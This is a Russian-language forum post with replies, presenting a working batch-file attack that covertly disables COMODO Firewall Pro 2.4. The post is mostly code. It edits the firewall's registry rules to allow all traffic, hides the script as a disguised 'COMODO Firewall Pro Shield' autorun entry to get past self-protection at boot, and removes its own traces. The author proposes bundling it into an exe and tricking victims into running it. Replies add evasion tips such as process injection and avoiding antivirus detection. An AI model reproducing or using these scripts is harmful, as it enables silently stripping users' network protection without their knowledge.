Эксперименты «на финте»: обезвреживаем COMODO Firewall Pro 2.4 Стучал по клавишам и мучал COMODO: X-3 Вступление: Суббота, утро, 9 мая. День победы. Невзирая на обилие отличных фильмов про вторую мировую, руки так и тянутся к компьютеру. Но мозг, сопротивляясь неавторизированным действиям, просит хотя бы повод. «Будем фашистов бить!», - мысленно произношу я, на ходу додумывая, кто у нас сегодня за фашистов будет. Ответ пришел скоро: файерволл. Задача: Создать bat-файл, результатом выполнения которого будет отключение защиты файерволла при видимой его работе. Bat – потому как, скорее всего, будет работать без дополнительных пинков. Можно скомпилировать в exe-шник, используя BatT oExeConverter, после чего соединить с какой-нибудь «очень нужной программой» и, методом социальной инженерии добиться запуска «жертвой». А если нет возможности скомпилировать в .exe, можно СИ усугубить и добиться того же эффекта (но тогда, наверное, лучше просто вручную файерволл отключить). Файерволл: COMODO Firewall Pro 2.4.19.185 с последними обновлениями Система: Windows XP SP2 1. Теоретическое решение Первым делом, нужно знать, где наш файерволл хранит свои настройки. Данная версия (а скорее всего, 2.x.x.x) держит свое добро в реестре: HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall. Именно сетевой монитор свои правила размещает в HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall\NetCtrl\Rules\X , где X – номер правила. Стоит заметить, что в реестре нумерация начинается с «0», а в графической реализации COMODO – с «1». Также занятно, что количество правил сохраняется в параметре «Num», в ветке HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall\NetCtrl\Rules. Рассмотрев отображение правил в программе, первое, что приходит в голову, - это добавить новую запись с нужными нам настройками. Позже ее можно будет удалить и никто ничего не узнает. Пользователи, на которых рассчитан данный метод, вряд ли смогут внятно ответить на вопрос: «Где Вы настраиваете правила в файерволле?», поэтому, шансы остаться незамеченными высоки. Итого: просто «сдвинем» все правила и добавим новое, например, разрешающее «все и всем». 2. Практическая реализация Для начала попробуем вывести на экран то самое количество правил. Чтение reg query /? и for /? (справка по командам cmd.exe) подсказывает следующее решение: Code: for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i) echo %hmr% Все бы хорошо, но результат мы получаем в шестнадцатиричной системе. Не так страшно, если это число не более 9, но мне вот повезло получить в ответ «0xa». И вот мы тратим некоторое время на поиски решения по: а) «обрезке» лишних символов «0x»; б) конвертации результата в десятичное значение. А потом, отхлебывая очередную порцию допинга, вдруг соображаем, что , переведя, значение в арифметическое, можно избавиться от этого геморроя. В результате получаем такой код: Code: for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i) set /A number=hmr echo %number% Ну что же, теперь пора устроить скачки. Возьмем последнее правило файерволла, скопируем его в следующий номер, далее, уменьшим номер на единицу, и будем повторять до тех пор, пока не скопируем 0-ое правило. Для этих телодвижений потребуется в начале файла добавить команду задействования расширений нашего cmd.exe. Поскольку правила отличаются между собой не только значениями, но и названиями параметров (и даже их количеством), то мы, соблюдая принятую изначально концепцию «чистые руки», будем удалять ветки реестра, которые только что скопировали. Итак, наша программа приобретает следующий вид: Code: @echo off SetLocal EnableExtensions EnableDelayedExpansion for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i) set /A number=hmr-1 set /A shift=hmr for /L %%i in (%number%,-1,0) do ( reg copy "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\!shift!" /s /f reg delete "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" /f set /A shift=!shift!-1 ) Почти оседлав коня на скаку, мы получаем серьезный облом (и знающие люди наверняка ждали этого момента) : COMODO, оказывается, защищает свои ветки реестра от записи! Но не можем же мы прекратить эксперимент. Поэтому, пока просто отключим файерволл, воспользовавшись иконкой в трее, и продолжим. Увеличиваем количество правил в файерволле на единицу, добавленную нами при сдвиге: Code: set /A newhmr=hmr+1 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num /t reg_dword /d %newhmr% /f Устанавливаем в нулевом правиле полное разрешение: Code: reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Days /t reg_dword /d 127 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartHour /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartMinute /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopHour /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopMinute /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Protocol /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Action /t reg_dword /d 00000001 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Direction /t reg_dword /d 00000003 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v IPProto /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrType /t reg_dword /d 8 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrStart /t reg_sz /d "0.0.0.0" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrEnd /t reg_sz /d "255.255.255.255" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrType /t reg_dword /d 8 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrStart /t reg_sz /d "0.0.0.0" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrEnd /t reg_sz /d "255.255.255.255" Получается, что мы имеем аккуратно добавленное всеразрешающее правило, но вот беда – мы все еще не имеем возможности воспользоваться этим кодом из-за модуля самозащиты. Потратив некоторое время на поиск возможностей отключить cmdagent, понимаем, что нужно какое-то другое решение, зайти, так сказать, с другой стороны. Попробуем наш старинный метод: «на Авось!». Защита включается при загрузке, попробуем и мы действовать при загрузке. Вставляем код программы в файл с неприметным названием cpfmode.bat и помещаем в папку с Comodo, после чего запускаем включение этого файла в перечень тех, что запускаются при старте системы: reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield" /t reg_sz /d "\"C:\Program Files\Comodo\Firewall\cpfmode.bat"" /f Перегружаем систему, затаиваем дыхание… И не верим своим глазам, финт ушами сработал! Большая часть кода выполнилась, пока самозащита COMODO не обрела силу. Большая, но не вся. Да, я понимаю, что продвинулись мы не до конца, но уже ого-го! Нам всего-навсего нужно ускорить действие программы. Заметим, что задержка запуска CPF.exe не влияет на ситуацию, cmdagent.exe делает свое черное дело самостоятельно. Конец дня. И нам нужна победа. «Одна на всех, мы за ценой не постоим…» Бравый герой фильма «Гитлер капут» вдохновляет действовать лихо, а товарищ Летнаб из «Диверсанта» - не задумываясь о последствиях, «прямо и грубо, наикратчайшим путем». Действуем! Есть замечательное правило у COMODO: запретить все подключения с любых хостов, а результаты этих бесчинств срочно записать в бортовой журнал. Классное правило, так как оно указывается в концк всего списка, и, если разрешений не обнаружено, то запрос в конце концов, будет блокирован, что защищает пользователя от возможных посягательств. А вдвойне это правило замечательное потому, что нас интересует всего два пункта в этом правиле: ЗАПРЕТИТЬ и ЗАПИСАТЬ_В_ЖУРНАЛ. Меняем только их и получаем искомый результат: файерволл пропускает все. Есть риск, что пользователь, зайдя в сетевой монитор, заметит «позеленевшее» правило, которое раньше запрещало все и отображалось красным цветом. Но, «кто не рискует…» вместе с «синицей, что хороша в руке…» мотивируют на завершение начатого хоть и далеко не идеальным, но рабочим вариантом. На всякий случай предусмотрим вариант подчистки следов за собой. Код: Code: @echo off for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i) set /A number=hmr-1 echo @echo off > "c:\program files\comodo\firewall\cpfmode.bat" echo reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%number%" /v Action /t reg_dword /d 00000001 /f >> "c:\program files\comodo\firewall\cpfmode.bat" echo reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%number%" /v Protocol /t reg_dword /d 00000000 /f >> "c:\program files\comodo\firewall\cpfmode.bat" echo reg delete "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield" /f >> "c:\program files\comodo\firewall\cpfmode.bat" reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield" /t reg_sz /d "\"C:\Program Files\Comodo\Firewall\cpfmode.bat"" /f Как видим, данная программа создает bat-файл в папке COMODO, после чего прописывает его в автозагрузку. Итоговый скрипт совсем мал и без проблем обходит «на финте» самозащиту COMODO, а после внесения долгожданных изменений в правила, удаляет себя из автозагрузки. Цена компромиссного решения: - паливность при первом перезапуске системы (окошко cmd.exe все же вылетает с информированием о результативности) - с номером правила можем ошибиться, если пользователь до перезагрузки тыкался в COMODO - можем не обогнать COMODO (чем черт не шутит!) Возможные усовершенствования: 1) Если пользователь настроил диапазон сети, например, - локалки, - на полный (либо частичный) доступ, изменение веток реестра, начиная с HKEY_LOCAL_MACHINE \System\SOFTWARE\Comodo\Personal Firewall\AppCtrl\Zones поможет решить задачу «обезвреживания» файерволла немного другим путем. 2) Во избежание ситуаций, когда система находится не на диске C: или COMODO установлен в нестандартную папку, можно использовать параметр %SystemRoot% и получить из реестра данные по COMODO: HKEY_LOCAL_MACHINE\SOFTWARE\ComodoGroup\CDI\1\InstallProductPath. 3) Работа не только с сетевым монитором, но и с Монитором приложений и компонентов. 4) Вызвать загрузку системы в безопасном режиме и поглядеть, сработает ли режим самозащиты COMODO или нет. Выводы: 1) Иногда стоит сделать ставку на скорость и лихость, особенно, если они дают результат. 2) Смотрите наши замечательные фильмы про войну, они вдохновляют. Полный код первоначального скрипта (для тех, кто знает способ обойти модуль самозащиты): Code: @echo off SetLocal EnableExtensions EnableDelayedExpansion for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i) set /A number=hmr-1 set /A shift=hmr for /L %%i in (%number%,-1,0) do ( reg copy "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\!shift!" /s /f reg delete "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" /f set /A shift=!shift!-1 ) set /A newhmr=hmr+1 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num /t reg_dword /d %newhmr% /f reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Days /t reg_dword /d 127 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartHour /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartMinute /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopHour /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopMinute /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Protocol /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Action /t reg_dword /d 00000001 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Direction /t reg_dword /d 00000003 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v IPProto /t reg_dword /d 00000000 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrType /t reg_dword /d 8 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrStart /t reg_sz /d "0.0.0.0" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrEnd /t reg_sz /d "255.255.255.255" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrType /t reg_dword /d 8 reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrStart /t reg_sz /d "0.0.0.0" reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrEnd /t reg_sz /d "255.255.255.255" ============================================ P.S. Если кто-то додумался до этого раньше меня, просто киньте ссылку. P.P.S. Если есть простое «лекарство» для модуля самозащиты COMODO – постите сюда или в личку. P.P.S. Критика, дополнения, исправления и т. д. приветствуются.
1) Данная версия поддерживается обновлениями 2) Она имеет рускоязычный интерфес и предлагается сайтами с программным обеспечением для загрузки "Русской версии COMODO" 3) Используется знакомыми мне пользователями К тому же, данный текст будет полезен тем, кто будет работать с реестром, используя .bat. P.S. Если нет цензурных слов, лучше не высказываться в принципе. Если совсем невтерпеж - пиши в личку.
я понимаю что ты проделал работу, тебе хочется похвалы и признания за проделанный труд, но пойми тут люди такие методы использовали в 98 году еще, и сейчас они не актуальны ибо время батников прошло, если бы была расскрыта бага в современном софтваре, пускай даже в батнике, ее можно было бы юзать. важные ветки реестра протектятся даже самыми непопуларными антивирусами и фаерволами. то что эта версия пкомодо поддерживается ниочем не говорит, ибо украинский антивирус Zilya тоже поддерживается.. Важна актуальность бажной программы/скрипта, количество юзеров ее юзающее. Ты говориш ты и друзья юзают, смысл юзать то, что не защищает? эта проактивка даже от понча не защитит старенького .. может вы в силу своего незнания английского юзаете этот раритет, так лучше скачайте аутпост 2009 с ключиками на варезнике - русский, и спите спокойней.
2.4 обходиться на много проще если стартануть ещё один CPF.exe и красиво в него заинжектиться, то можно будет почти всё
Еще один случай жалкой подделки и дополнительной дыре,вместо использования стандартного фаерволла. Да и вообще кто разрешил пользователям писать в HKLM? И антивируса у пользователя нет,раз Bat to Exe используется? PS. Пользователь должен откопать подделку Comodo ,да еще и щелкать просто на все что есть бездумно.
Спасибо за комментарии. LEE_ROY Твое второе сообщение гораздо информативнее Давай тогда прийдем к общему мнению относительно того, какие файерволлы считаются современными и популярными. Что скажешь на счет: Outpost Firewall Pro 2009, ZoneAlarm 8, Comodo Firewall + AntiVirus 3.8? Hellsp@wn Второй CPF.exe стартануть и "красиво в него заинжектиться", ИМХО, потребует больше телодвижений. SpangeBoB Многие пользователи сидят под админом в винде (часть и в юниксе по рутом). Какой антивирус палит Bat to Exe? Там особых команд нет, чтобы палиться. По крайней мере, Avast не жужжал. Bat to Exe, кстати, также склеивает файлы, хоть и слегка не элегантно. Avast, опять же, молчит.